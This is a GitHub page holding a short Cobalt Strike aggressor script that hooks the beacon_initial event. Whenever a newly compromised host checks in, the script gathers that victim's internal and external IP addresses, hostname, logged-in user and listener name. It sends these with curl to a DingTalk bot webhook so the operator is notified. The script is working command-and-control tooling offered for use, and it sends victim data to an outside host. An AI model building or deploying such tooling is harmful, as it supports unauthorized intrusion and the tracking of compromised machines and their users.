-
Notifications
You must be signed in to change notification settings - Fork 22
/
Copy pathdingding.cna
19 lines (19 loc) · 1.21 KB
/
dingding.cna
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$dt_token = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";
$dt_bot_webhookURL = 'https://oapi.dingtalk.com/robot/send?access_token='.$dt_token;
$targetInfo_txt = "## 您有新主机上线啦!\n>";
$listener_txt = "**所属项目:**";
$externalIp_txt = " \n >**公网IP:**";
$internalIp_txt = " \n >**内网IP:**";
$computerName_txt = " \n >**主机名:**";
$userName_txt = " \n >**当前用户:**";
on beacon_initial {
local('$internalIP $computerName $userName');
$internalIP = replace(beacon_info($1, "internal"), " ", "_");
$externalIP = replace(beacon_info($1, "external"), " ", "_");
$computerName = replace(beacon_info($1, "computer"), " ", "_");
$userName = replace(beacon_info($1, "user"), " ", "_");
$listennerName = replace(beacon_info($1, "listener"), " ", "_");
$dt_msg = "{\"msgtype\": \"markdown\",\"markdown\": {\"title\":\"新主机上线\",\"text\":"."\"".$targetInfo_txt.$listener_txt.$listennerName.$externalIp_txt.$externalIP.$internalIp_txt.$internalIP.$computerName_txt.$computerName.$userName_txt.$userName."\""."}}";
@curl_command = @('curl', '-H', 'Content-Type: application/json', '-d', $dt_msg, $dt_bot_webhookURL);
exec(@curl_command);
}